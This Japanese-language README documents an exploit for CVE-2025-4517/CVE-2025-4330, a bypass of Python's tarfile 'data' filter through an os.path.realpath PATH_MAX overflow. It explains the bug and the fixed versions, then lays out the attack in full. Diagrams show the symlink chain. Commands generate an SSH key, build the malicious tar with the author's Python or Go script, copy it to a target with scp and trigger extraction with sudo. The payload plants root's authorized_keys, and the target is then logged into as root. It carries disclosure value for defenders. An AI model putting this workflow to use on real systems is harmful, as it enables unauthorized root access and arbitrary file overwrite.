
os.path.realpath()内のPATH_MAXオーバーフローによるPython tarfileデータフィルターのバイパス - CVE-2025-4517 / CVE-2025-4330
tarfile の Data Filter が PATH_MAX オーバーフローによりバイパスされる著者: 0xDTC CVE: CVE-2025-4517 / CVE-2025-4330 勧告: GHSA-6r6c-684h-9j7p CPython 修正: PR #135037
Python の tarfile.extractall(filter="data") は、パストラバーサル(絶対パス、.. シーケンス、出力先を脱出するシンボリックリンク)を防止することで、tar アーカイブを安全に展開することを目的としています。しかし、os.path.realpath(strict=False) のバグにより、このフィルターを完全にバイパスすることが可能です。
解決後のパスが PATH_MAX(Linux では 4096 バイト)を超えた場合、os.path.realpath() はシンボリックリンクの解決を静かに停止し、文字列操作にフォールバックします。つまり、巧妙に細工されたシンボリックリンクチェーンにより、Python はシンボリックリンクが展開ディレクトリの内部に解決されると思い込ませることができ、実際には / へ脱出してしまいます。
| ブランチ | 影響範囲 | 修正バージョン |
|---|---|---|
| 3.12.x | 3.12.0 – 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 – 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 – 3.14.0a7 | 3.14.0b1 |
エクスプロイトは以下の内容を含む tar アーカイブを構築します:
realpath を欺きます。核心的な洞察: a/b/c/.../p を短いシンボリックリンクを通して辿ると PATH_MAX 未満に収まりますが、realpath はそれぞれを約240文字の実際のディレクトリ名に展開します。254文字のリンク名に到達した時点で、解決後のパスは4096バイトを超え、realpath は諦めて — 静かに誤った結果を返します。
flowchart TD
A["攻撃者が悪意のあるtarを作成"] --> B["tarに含まれるもの:
16個のdir/symlinkペア
254文字の脱出用symlink
'escape' symlink → /
ペイロードファイル"]
B --> C["対象が展開する
tarfile.extractall(filter='data')"]
C --> D{"Pythonがシンボリックリンクを解決
via os.path.realpath()"}
D --> E["短いsymlink a→ddd...d を追跡
解決パスがステップごとに増加"]
E --> F{"解決パス長
> PATH_MAX (4096)?"}
F -->|"No (正常)"| G["realpathが正しく解決
シンボリックリンクがフィルターにブロックされる ✓"]
F -->|"Yes (オーバーフロー!)"| H["realpathが解決をSTOP
文字列操作にフォールバック"]
H --> I["Pythonはsymlinkが
展開ディレクトリ内部に解決すると誤認識"]
I --> J["フィルターがsymlinkを許可 ✗"]
J --> K["OSはsymlinkを正しく追跡
'escape' は / に解決"]
K --> L["ペイロードが
ディスク上の任意のファイルに書き込まれる"]
style F fill:#ff6b6b,color:#fff
style H fill:#ff6b6b,color:#fff
style J fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style G fill:#51cf66,color:#fff
sequenceDiagram
participant A as 攻撃者マシン
participant T as 対象マシン
Note over A: フェーズ1 — 準備
A->>A: SSH鍵ペアを生成 (ssh-keygen)
A->>A: エクスプロイト変数を設定<br/>(DEST_DIR, DEPTH_TO_ROOT など)
A->>A: CVE-2025-4517.py または .go を実行<br/>悪意のあるtarを生成
Note over A,T: フェーズ2 — 配送
A->>T: 悪意のあるtarを対象に転送<br/>(scp, wget, curl, ftp など)
T->>T: tarを脆弱なスクリプトが<br/>アクセス可能な場所に配置
Note over T: フェーズ3 — 悪用
T->>T: 脆弱なPythonスクリプトにより<br/>展開をトリガー
T->>T: Python が tarfile.extractall(filter="data") を呼び出す
Note over T: Pythonが見るものと現実
T->>T: realpath() が PATH_MAX でオーバーフロー
T->>T: フィルターが "escape" symlink を安全と判断
T->>T: OS が "escape" を追跡 → / に解決
T->>T: ペイロードが /root/.ssh/authorized_keys に書き込まれる
Note over A,T: フェーズ4 — アクセス
A->>T: 書き込まれた鍵を使ってSSHでrootログイン
T-->>A: Rootシェルを取得
graph LR
subgraph "Tarメンバー(展開順)"
D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
D3["📁 ...16階層..."] --> S3["🔗 .../p → ddd...d"]
S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
F1["📄 escape/root/.ssh/authorized_keys<br/>(ペイロード内容)"]
end
S1 -.->|"短いパス<br/>小さく保たれる"| S2
S2 -.-> S3
S3 -.-> S4
S4 -.->|"254文字で<br/>PATH_MAX を超える"| S5
S5 -.->|"/ に解決"| F1
両方のスクリプトの先頭に設定セクションがあり、以下の変数があります:
オプション A: Python
# 1. SSH鍵ペアを生成
ssh-keygen -t ed25519 -f root_key -N ''
# 2. CVE-2025-4517.py を編集 — DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT を更新
# 3. 悪意のあるtarを生成
python3 CVE-2025-4517.py
# 4. 対象に転送
scp backup_99.tar user@target:/path/to/backups/
オプション B: Go
# 1. SSH鍵ペアを生成
ssh-keygen -t ed25519 -f root_key -N ''
# 2. CVE-2025-4517.go を編集 — destDir, depthToRoot, payload, output を更新
# 3. 悪意のあるtarを生成
go run CVE-2025-4517.go
# 4. 対象に転送
scp backup_99.tar user@target:/path/to/backups/
# 脆弱なPythonスクリプトを介して展開をトリガー
# 正確なコマンドはスクリプトの起動方法に依存します
# 例:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
# 植え付けた鍵を使ってSSHでrootログイン
ssh -i root_key root@target
/ から展開パスまでのディレクトリ数を数えます:
/tmp/staging/extract_dir/
(1) (2) (3)
DEPTH_TO_ROOT = 3
/var/lib/app/data/staging/
(1) (2) (3) (4) (5)
DEPTH_TO_ROOT = 5
/opt/restore/backups/output_dir/
(1) (2) (3) (4)
DEPTH_TO_ROOT = 4
影響を受けるバージョンで tarfile.extractall() を filter="data" と共に使用するPythonスクリプトはすべて悪用される可能性があります:
import tarfile
with tarfile.open("archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data") # 脆弱
filter="data" はtarパストラバーサル攻撃を防ぐためのセキュリティ対策として導入されました。皮肉なことに、脆弱性はフィルターがシンボリックリンクのターゲットを検証するために依存する機構(os.path.realpath)そのものに存在します。
このツールは許可されたセキュリティテスト、教育目的、研究専用として提供されます。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。作者はこのツールの誤用について一切の責任を負いません。
| 変数 | 説明 | 例 |
|---|
DEST_DIR | 対象上の展開ディレクトリの絶対パス | /tmp/staging/extract_dir/ |
DEPTH_TO_ROOT | / から DEST_DIR までのディレクトリ数 | /opt/app/staging/dir/ の場合 4 |
TARGET_FILE | 書き込むファイル(/ からの相対パス) | root/.ssh/authorized_keys |
PAYLOAD | ターゲットファイルに書き込む内容 | SSH公開鍵 |
OUTPUT | 出力するtarファイル名 | 対象の想定パターンと一致させる必要があります |